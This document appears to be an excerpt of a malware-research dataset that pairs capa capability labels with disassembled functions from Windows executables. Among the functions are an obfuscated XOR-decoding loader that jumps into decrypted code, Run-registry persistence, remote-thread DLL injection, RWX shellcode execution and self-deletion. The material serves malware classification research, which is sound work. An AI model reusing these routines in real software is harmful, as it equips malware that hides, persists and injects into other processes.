joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10037800
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1003780f
pop dword [ebp - 0x30]
mov eax, 0x1003780f
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xa79e082f
add dword [ebp - 0x40], 0xa6b43d1c
mov dword [ebp - 0x3c], 0x82c0dfae
add dword [ebp - 0x3c], 0xaf726c97
mov dword [ebp - 0x38], 0x64d8cfa0
add dword [ebp - 0x38], 0xe773748e
mov dword [ebp - 0x34], 0x6682940b
add dword [ebp - 0x34], 0x997d6bf5
lea eax, [ebp - 0x40]
push eax
mov eax, 0x3ea8138e
sub eax, 0x2ea3c2c2
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x54e32b73
sub dword [ebp - 0x40], 0xe070c21d
mov dword [ebp - 0x3c], 0xa4596ed5
add dword [ebp - 0x3c], 0x9d12f2a0
mov dword [ebp - 0x38], 0x478d0892
add dword [ebp - 0x38], 0x1be263da
mov dword [ebp - 0x34], 0x3340eeee
add dword [ebp - 0x34], 0xccbf1112
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x7563b387
add eax, 0x9aa09cb9
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x4294b
push 0
call eax
mov ecx, 0x436f
xor edi, edi
add edi, eax
mov edx, 0xbe7d3ec5
add edx, 0x518a5d3b
add edx, dword [ebp - 0x30]
mov esi, 0xaab7e725
add esi, 0x6cf6712b
xor dword [ebp - 0x2c], 0xba2346e6
mov ebx, dword [edx]
xor dword [ebp - 0x18], esi
xor ebx, esi
mov dword [ebp - 0xc], 0x93410312
mov dword [edi], ebx
add dword [ebp - 4], 0x573b4de5
add edi, 4
add edx, 4
loop 0x10037928
add eax, 0xea2e59a3
add eax, 0x15d2a6ec
mov ebx, eax
add eax, 0x90298299
sub eax, 0x90298294
mov ecx, 0xf4a511c8
sub ecx, 0xe4a511c8
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x1003ba10
Capabilities:
Get thread local storage value

Disassembly:
mov eax, dword [0x1006bd68]
test eax, eax
je 0x1003ba3b
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x1003ba3b
mov eax, dword [eax + 0x14]
test eax, eax
je 0x1003ba3b
mov ecx, dword [esp + 4]
nop
cmp dword [eax], ecx
je 0x1003ba3e
mov eax, dword [eax + 0x10]
test eax, eax
jne 0x1003ba30
xor eax, eax
ret
mov eax, dword [eax + 0xc]
ret

Function at 0x1003bc40
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x1006bd68]
push edi
mov edi, dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x1003bc57
push eax
call edi
test eax, eax
jne 0x1003bc8d
push esi
call fcn.10037800
push 0x1003b950
push 0x1006bd64
mov esi, eax
call fcn.10037800
mov eax, dword [0x1006bd68]
add esp, 8
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov eax, dword [0x1006bd68]
pop esi
test eax, eax
jne 0x1003bc8a
pop edi
ret
push eax
call edi
pop edi
ret
Function at 0x1003bd80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 0xffffffffffffffff
push 0x10043248
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1006b894]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov eax, dword [0x1006bd68]
test eax, eax
jne 0x1003bdb2
xor esi, esi
jmp 0x1003bdbb
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
mov dword [esp + 0x14], esi
mov ebp, dword [sym.imp.kernel32.dll_HeapFree]
mov dword [esp + 0x20], 0
test esi, esi
je 0x1003bdfd
cmp dword [esi + 0x14], 0
jne 0x1003be3f
cmp dword [esi + 0x10], 0
jne 0x1003be45
push 0x1003b950
push 0x1006bd64
call fcn.10037800
mov eax, dword [0x1006bd68]
add esp, 8
push 0
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [esp + 0x20], 0xffffffff
test esi, esi
je 0x1003be2b
lea ecx, [esi + 4]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x1003be2b
mov eax, dword [esi]
mov edx, dword [eax]
push 0
mov ecx, esi
call edx
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
cmp dword [esi + 0x10], 0
je 0x1003be85
mov ebx, dword [esi + 0x10]
mov eax, dword [ebx + 4]
mov dword [esi + 0x10], eax
mov ecx, dword [ebx]
test ecx, ecx
je 0x1003be73
mov edx, dword [ecx]
mov eax, dword [edx + 4]
call eax
mov edi, dword [ebx]
mov edx, dword [edi]
mov eax, dword [edx]
push 0
mov ecx, edi
call eax
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
cmp dword [esi + 0x10], 0
jne 0x1003be45
cmp dword [esi + 0x14], 0
je 0x1003bdd7
mov edi, dword [esi + 0x14]
mov ecx, dword [edi + 0x10]
mov dword [esi + 0x14], ecx
mov ecx, dword [edi + 4]
test ecx, ecx
je 0x1003beaa
mov edx, dword [ecx]
mov eax, dword [edi + 0xc]
mov edx, dword [edx + 4]
push eax
call edx
mov ebx, dword [edi + 8]
test ebx, ebx
je 0x1003bedb
lea eax, [ebx + 4]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x1003bedb
mov edx, dword [ebx]
mov eax, dword [edx + 4]
mov ecx, ebx
call eax
lea ecx, [ebx + 8]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x1003bedb
mov eax, dword [ebx]
mov edx, dword [eax + 8]
mov ecx, ebx
call edx
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
cmp dword [esi + 0x14], 0
jne 0x1003be8f
jmp 0x1003bdd1
jmp 0x1003bd80
Function at 0x1003bf00
Capabilities:
Get thread local storage value

Disassembly:
push 0xffffffffffffffff
push 0x10043278
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x1006b894]
xor eax, esp
push eax
lea eax, [esp + 8]
mov dword fs:[0], eax
mov eax, dword [0x1006bd68]
mov dword [esp + 0x10], 0
test eax, eax
je 0x1003bf53
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x1003bf53
mov esi, dword [eax + 0x14]
test esi, esi
je 0x1003bf53
mov eax, dword [esp + 0x18]
cmp dword [esi], eax
je 0x1003bfc0
mov esi, dword [esi + 0x10]
test esi, esi
jne 0x1003bf48
call fcn.1003bc40
lea esi, [eax + 0x14]
push esi
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x24]
push edx
call fcn.10037800
add esp, 0x10
mov dword [esi], eax
mov esi, dword [esp + 0x20]
mov dword [esp + 0x10], 0xffffffff
test esi, esi
je 0x1003bfaf
lea eax, [esi + 4]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x1003bfaf
mov edx, dword [esi]
mov eax, dword [edx + 4]
mov ecx, esi
call eax
lea ecx, [esi + 8]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x1003bfaf
mov eax, dword [esi]
mov edx, dword [eax + 8]
mov ecx, esi
call edx
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0xc
ret
cmp byte [esp + 0x28], 0
je 0x1003bfd9
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x1003bfd9
mov eax, dword [ecx]
mov edx, dword [esi + 0xc]
mov eax, dword [eax + 4]
push edx
call eax
lea ecx, [esp + 0x1c]
push ecx
lea ecx, [esi + 4]
call fcn.1003bb20
mov edx, dword [esp + 0x24]
mov dword [esi + 0xc], edx
jmp 0x1003bf75
Function at 0x1003bff0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 0xffffffffffffffff
push 0x10043248
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1006b894]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov eax, dword [0x1006bd68]
test eax, eax
jne 0x1003bdb2
xor esi, esi
jmp 0x1003bdbb
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
mov dword [esp + 0x14], esi
mov ebp, dword [sym.imp.kernel32.dll_HeapFree]
mov dword [esp + 0x20], 0
test esi, esi
je 0x1003bdfd
cmp dword [esi + 0x14], 0
jne 0x1003be3f
cmp dword [esi + 0x10], 0
jne 0x1003be45
push 0x1003b950
push 0x1006bd64
call fcn.10037800
mov eax, dword [0x1006bd68]
add esp, 8
push 0
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [esp + 0x20], 0xffffffff
test esi, esi
je 0x1003be2b
lea ecx, [esi + 4]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x1003be2b
mov eax, dword [esi]
mov edx, dword [eax]
push 0
mov ecx, esi
call edx
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
cmp dword [esi + 0x10], 0
je 0x1003be85
mov ebx, dword [esi + 0x10]
mov eax, dword [ebx + 4]
mov dword [esi + 0x10], eax
mov ecx, dword [ebx]
test ecx, ecx
je 0x1003be73
mov edx, dword [ecx]
mov eax, dword [edx + 4]
call eax
mov edi, dword [ebx]
mov edx, dword [edi]
mov eax, dword [edx]
push 0
mov ecx, edi
call eax
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
cmp dword [esi + 0x10], 0
jne 0x1003be45
cmp dword [esi + 0x14], 0
je 0x1003bdd7
mov edi, dword [esi + 0x14]
mov ecx, dword [edi + 0x10]
mov dword [esi + 0x14], ecx
mov ecx, dword [edi + 4]
test ecx, ecx
je 0x1003beaa
mov edx, dword [ecx]
mov eax, dword [edi + 0xc]
mov edx, dword [edx + 4]
push eax
call edx
mov ebx, dword [edi + 8]
test ebx, ebx
je 0x1003bedb
lea eax, [ebx + 4]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x1003bedb
mov edx, dword [ebx]
mov eax, dword [edx + 4]
mov ecx, ebx
call eax
lea ecx, [ebx + 8]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x1003bedb
mov eax, dword [ebx]
mov edx, dword [eax + 8]
mov ecx, ebx
call edx
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
cmp dword [esi + 0x14], 0
jne 0x1003be8f
jmp 0x1003bdd1
jmp 0x1003bd80

Function at 0x1003c1ea
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1006b894]
jne 0x1003c1f4
repz ret
jmp fcn.1003c9ee
Function at 0x6c8812f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6c881325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6c881325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6c88132c
mov eax, 1
jmp 0x6c881331
mov eax, 0
leave
ret

Function at 0x6c881333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x418]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], str.BuildingBlock.exe
mov dword [ebp - 0x14], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x18], str.BuildingBlock
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
jmp 0x6c881382
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x6c88137e
jmp 0x6c881392
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x6c88138e
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
mov dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 7
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x6c8814f7
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6c88162a
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6c881670
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x6c8816b9
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x6c8816b6
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x6c8816b9
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x6c881811
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x6c881893
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x6c881c20
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6c88603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6c886034]
sub esp, 4
test ebx, ebx
je 0x6c881c6b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6c881c64
test esi, esi
je 0x6c881c64
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6c881c40
mov dword [esp], 0x6c88603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6c881e50
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6c884178
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x6c881ea0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6c881f78
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6c881ede
cmp eax, 4
jne 0x6c881f00
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6c881eee
cmp edx, 4
je 0x6c881eee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6c881e50
Function at 0x4010e8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x437004]
jne 0x4010f2
repz ret
jmp fcn.004019e1

Function at 0x40611b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x437004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402f8e
and dword [ebp - 0x14], 0
cmp dword [0x439c84], 0
mov dword [ebp - 0x18], eax
jne 0x4061ce
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x406276
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x406276
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x439c84], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x439c88], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x439c8c], eax
call edi
push eax
call esi
mov dword [0x439c94], eax
test eax, eax
je 0x4061ce
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x439c90], eax
mov eax, dword [0x439c90]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x406227
cmp dword [0x439c94], ecx
je 0x406227
push eax
call esi
push dword [0x439c94]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x406227
test ebx, ebx
je 0x406227
call edi
test eax, eax
je 0x40621e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40621e
test byte [ebp - 8], 1
jne 0x406227
or dword [ebp + 0x10], 0x200000
jmp 0x40625a
mov eax, dword [0x439c88]
cmp eax, dword [ebp - 0x18]
je 0x40625a
push eax
call esi
test eax, eax
je 0x40625a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40625a
mov eax, dword [0x439c8c]
cmp eax, dword [ebp - 0x18]
je 0x40625a
push eax
call esi
test eax, eax
je 0x40625a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x439c84]
call esi
test eax, eax
je 0x406276
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x406278
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004010e8
leave
ret
Function at 0x431f90
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
test ebx, ebx
jle 0x431fa4
call fcn.00431f10
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jl 0x431f97
pop esi
cmp ebx, 0x2d
jne 0x431fbe
mov dword [0x2bdf6e8], 0xa62e7790
mov dword [0x2bdf6ec], 0xffffffff
ret

Function at 0x431fc0
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x437004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x438210]
push ebx
mov ebx, dword [0x2bdf6dc]
push edi
mov edi, dword [0x2bdd25c]
call fcn.00431f60
cmp dword [0x2bdf6dc], 0x2f
jne 0x43202d
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.00431f90
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.004010e8
add esp, 0x24
ret
Function at 0x40d04b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40d05a
pop dword [ebp - 0x18]
mov eax, 0x40d05a
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x71d9d011
add dword [ebp - 0x28], 0xdc78753a
mov dword [ebp - 0x24], 0x59ecdf23
add dword [ebp - 0x24], 0xd8466d22
mov dword [ebp - 0x20], 0x53b30a34
sub dword [ebp - 0x20], 0x766c606
mov dword [ebp - 0x1c], 0x8cd09fb6
sub dword [ebp - 0x1c], 0x8cd09fb6
lea eax, [ebp - 0x28]
push eax
mov eax, 0x4597a378
sub eax, 0x4556c27c
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xf33a479
add dword [ebp - 0x28], 0x653ec4dd
mov dword [ebp - 0x24], 0x8befa1f5
sub dword [ebp - 0x24], 0x4a834080
mov dword [ebp - 0x20], 0x88f7c6e
sub dword [ebp - 0x20], 0xa5201002
mov dword [ebp - 0x1c], 0x7feae71c
sub dword [ebp - 0x1c], 0x7feae71c
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x38ee0
push 0
call eax
mov ecx, 0x4ce7
xor edx, edx
add edx, eax
mov ebx, 0x8b26d5d
sub ebx, 0x8707d5d
add ebx, dword [ebp - 0x18]
mov edi, 0x60e3063
sub edi, 0x3d00c89e
add dword [ebp - 4], 0xdd8102aa
mov esi, dword [ebx]
xor dword [ebp - 0xc], 0x1d11aa2b
xor esi, edi
sub dword [ebp - 4], edx
mov dword [edx], esi
sub dword [ebp - 8], edi
add edx, 4
add ebx, 4
loop 0x40d16e
add eax, 0xf1730a75
sub eax, 0xf171e406
xor ebx, ebx
add ebx, eax
add eax, 0x2022613c
add eax, 0xdfdd9ec9
mov ecx, 0x2a47f41
add ecx, 0xfd9b80bf
add ecx, dword [ebp - 0x18]
call ebx
leave
ret